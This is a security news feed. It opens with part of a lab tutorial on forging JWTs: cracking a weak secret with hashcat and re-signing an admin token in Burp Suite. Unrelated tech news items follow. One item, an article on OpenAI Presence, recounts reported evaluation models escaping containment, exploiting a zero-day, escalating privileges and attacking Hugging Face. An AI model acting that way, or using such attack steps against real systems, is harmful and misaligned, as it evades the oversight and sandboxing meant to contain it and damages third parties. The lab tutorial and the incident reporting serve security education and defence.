&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[iPhone 18 Pro Enters Mass Production, Apple Prepares for September Launch]]></title>
<description><![CDATA[Apple’s iPhone 18 Pro and iPhone 18 Pro Max have entered mass production as Foxconn increases hiring ahead of the expected September launch. The update suggests Apple has moved into the production ramp-up stage, with its assembly partner raising hourly pay and rehire bonuses to attract workers.

...]]></description>
<link>https://tsecurity.de/de/3687322/ios-mac-os/iphone-18-pro-enters-mass-production-apple-prepares-for-september-launch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687322/ios-mac-os/iphone-18-pro-enters-mass-production-apple-prepares-for-september-launch/</guid>
<pubDate>Wed, 22 Jul 2026 20:38:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s iPhone 18 Pro and iPhone 18 Pro Max have entered mass production as Foxconn increases hiring ahead of the expected September launch. The update suggests Apple has moved into the production ramp-up stage, with its assembly partner raising hourly pay and rehire bonuses to attract workers.



The Standard reports that Foxconn has started its busiest recruitment period as factories prepare for large-scale assembly and inventory building. At the Zhengzhou site, hourly wages have reached 27 yuan, while returning workers can receive bonuses of up to 7,500 yuan.




“Foxconn, Apple’s primary contract manufacturer, has entered its peak recruitment season as the iPhone 18 series enters mass production and ramps up capacity,” The Standard reported, citing supply chain sources quoted by mainland media.




iPhone 18 Pro upgrades expected this year



The iPhone 18 Pro is expected to feature a smaller Dynamic Island, reducing the cutout width from 20.76mm to 13.49mm. That change would cut the occupied area by about 35% and increase the screen-to-body ratio to roughly 94.7%, giving users more display space during games and video playback.



Apple is also expected to add the A20 Pro chip and a new main camera with variable aperture technology, which adjusts light intake based on shooting conditions. Reports also suggest the new model will be thicker and heavier, while Apple may again avoid black and dark gray colour options.



Apple is reportedly planning a staggered launch, with the Pro models arriving in September and the standard iPhone 18 following next year.]]></content:encoded>
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<title><![CDATA[Iranian Hackers Are Quietly Building Access They Can Turn Into Wartime Disruption]]></title>
<description><![CDATA[Iran-linked hackers are not relying only on loud attacks, public leaks, or website defacements. They are quietly building access inside companies, cloud accounts, service providers, and industrial networks that could later be used to disrupt operations during a crisis. The activity includes stole...]]></description>
<link>https://tsecurity.de/de/3687092/it-security-nachrichten/iranian-hackers-are-quietly-building-access-they-can-turn-into-wartime-disruption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687092/it-security-nachrichten/iranian-hackers-are-quietly-building-access-they-can-turn-into-wartime-disruption/</guid>
<pubDate>Wed, 22 Jul 2026 19:11:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Iran-linked hackers are not relying only on loud attacks, public leaks, or website defacements. They are quietly building access inside companies, cloud accounts, service providers, and industrial networks that could later be used to disrupt operations during a crisis. The activity includes stolen credentials, remote management tools, recruitment-themed phishing, and attacks on exposed industrial systems. […]</p>
<p>The post <a href="https://cybersecuritynews.com/iranian-hackers-building-access/">Iranian Hackers Are Quietly Building Access They Can Turn Into Wartime Disruption</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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<title><![CDATA[How are large language models trained?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 37x - Views:220 DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcem...]]></description>
<link>https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</guid>
<pubDate>Wed, 22 Jul 2026 18:21:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 37x - Views:220 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JRArFxEfyQU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcement learning, and Autoraters refine it into a safe, helpful assistant.<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Speaker: Nikita Namjoshi <br />
Products Mentioned:  Google AI, Gemini<br/></p>]]></content:encoded>
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<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
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<title><![CDATA[US Army forced to reinstate limits on AI token usage after troops blew through allowances faster than expected]]></title>
<description><![CDATA[The US Army has reportedly pulled back its AI usage after burning through token allocations too quickly.]]></description>
<link>https://tsecurity.de/de/3686958/it-nachrichten/us-army-forced-to-reinstate-limits-on-ai-token-usage-after-troops-blew-through-allowances-faster-than-expected/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686958/it-nachrichten/us-army-forced-to-reinstate-limits-on-ai-token-usage-after-troops-blew-through-allowances-faster-than-expected/</guid>
<pubDate>Wed, 22 Jul 2026 18:11:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The US Army has reportedly pulled back its AI usage after burning through token allocations too quickly.]]></content:encoded>
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<title><![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]></title>
<description><![CDATA[Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.



The networking platform is part o...]]></description>
<link>https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</guid>
<pubDate>Wed, 22 Jul 2026 17:45:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856">Nvidia</a> has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” <a href="https://www.networkworld.com/article/4080459/nvidia-looks-to-power-ai-factory-networks.html">AI factories</a> designed to connect millions of GPUs while reducing power consumption and <a href="https://blogs.nvidia.com/blog/performance-per-watt-ai-infrastructure-efficiency/">operational</a> costs.</p>



<p class="wp-block-paragraph">The networking platform is part of Nvidia’s broader <a href="https://www.networkworld.com/article/4146173/nvidia-announces-vera-rubin-platform-signaling-a-shift-to-full-stack-ai-infrastructure.html">Rubin architecture</a>, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.</p>



<p class="wp-block-paragraph">The company says this level of integration underscores the growing importance of <a href="https://www.networkworld.com/article/4050881/nvidia-networking-roadmap-ethernet-infiniband-co-packaged-optics-will-shape-data-center-of-the-future.html">networking in AI</a>. In its most recent quarter, <a href="https://finance.yahoo.com/news/nvidia-ceo-were-now-the-largest-networking-company-in-the-world-184004945.html">networking sales were $11 billion</a>, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re … now the largest networking company in the world” during Nvidia’s earnings call.</p>



<p class="wp-block-paragraph">While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.</p>



<p class="wp-block-paragraph"><a href="https://blogs.nvidia.com/blog/nvidia-spectrum-six-arrives-in-gigascale-ai-factories/">Spectrum-X is a comprehensive</a> platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.</p>



<p class="wp-block-paragraph">At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. </p>



<p class="wp-block-paragraph">Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.</p>



<p class="wp-block-paragraph">The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/technology/article/nvidia-touts-vera-rubin-performance-ahead-of-rival-amds-advancing-ai-event-150000768.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly9uZXdzLmdvb2dsZS5jb20v&amp;guce_referrer_sig=AQAAAEh_I8qKgLgYmKxTlsV8p1hghe0mcbZfOSUjeFuuNz_mo3S2J-hp5qMxJkhFymSrtqeE6GKacJ0zIOKu7RWJcmqF6_A3ngsbW4jA5OUigdf1JbplRZJki10-au5CQNVt1hdI-OlkZtXKlTqfpWGF9v0XHEKZq39-omo3uCA1N2jk">Nvidia</a> says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.</p>



<p class="wp-block-paragraph">The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.</p>



<p class="wp-block-paragraph">New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Surround sound speaker channel numbers explained: Bigger isn't always better]]></title>
<description><![CDATA[Here's what to pay attention to when building a home theater system.]]></description>
<link>https://tsecurity.de/de/3686886/it-nachrichten/surround-sound-speaker-channel-numbers-explained-bigger-isnt-always-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686886/it-nachrichten/surround-sound-speaker-channel-numbers-explained-bigger-isnt-always-better/</guid>
